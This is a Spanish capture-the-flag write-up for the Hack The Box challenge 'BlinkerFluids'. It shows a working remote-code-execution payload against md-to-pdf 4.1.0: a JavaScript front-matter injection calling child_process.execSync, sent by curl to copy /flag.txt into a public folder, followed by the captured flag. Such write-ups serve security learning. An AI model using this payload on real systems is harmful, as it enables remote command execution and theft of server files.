BlinkerFluids
1 minuto de lectura
Tenemos una página web donde podemos escribir en Markdown y transformar el documento a PDF:
Por defecto, tenemos este contenido en Markdown:
Como tenemos un proyecto en Node.js, si leemos el archivo package.json
veremos las versiones de las dependencias de terceros:
{
"name": "blinker-fluids",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"keywords": [],
"author": "rayhan0x01",
"license": "ISC",
"dependencies": {
"express": "4.17.3",
"md-to-pdf": "4.1.0",
"nunjucks": "3.2.3",
"sqlite-async": "1.1.3",
"uuid": "8.3.2"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
Al buscar por md-to-pdf
versión 4.1.0 se ve que tiene una vulnerabilidad crítica (snyk.io). Solamente tenemos que usar este payload:
--js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE
Lo podemos usar para copiar el archivo flag.txt
en el directorio static/images
:
Y ahora lo transformamos a PDF:
Sin embargo, no funciona, por lo que podemos borrar el archivo. Vamos a probar con curl
:
$ curl 206.189.25.173:31956/api/invoice/add -d '{"markdown_content":"---js\n((require(\"child_process\")).execSync(\"cat /flag.txt > /app/static/images/flag.txt\"))\n---RCE"}' -H 'Content-Type: application/json'
{"message":"Invoice saved successfully!"}
$ curl 206.189.25.173:31956/api/invoice/list -s | jq
[
{
"id": 7,
"invoice_id": "5b364083-a15a-41d6-a9b3-6f8e20af96aa",
"created": "2022-06-30 14:50:39"
},
{
"id": 1,
"invoice_id": "f0daa85f-b9de-4b78-beff-2f86e242d6ac",
"created": "2022-06-30 13:07:16"
}
]
Y ha funcionado:
$ curl 206.189.25.173:31956/static/images/flag.txt
HTB{int3rG4l4c7iC_r1d3_0n_bl1nk3r_flu1d5}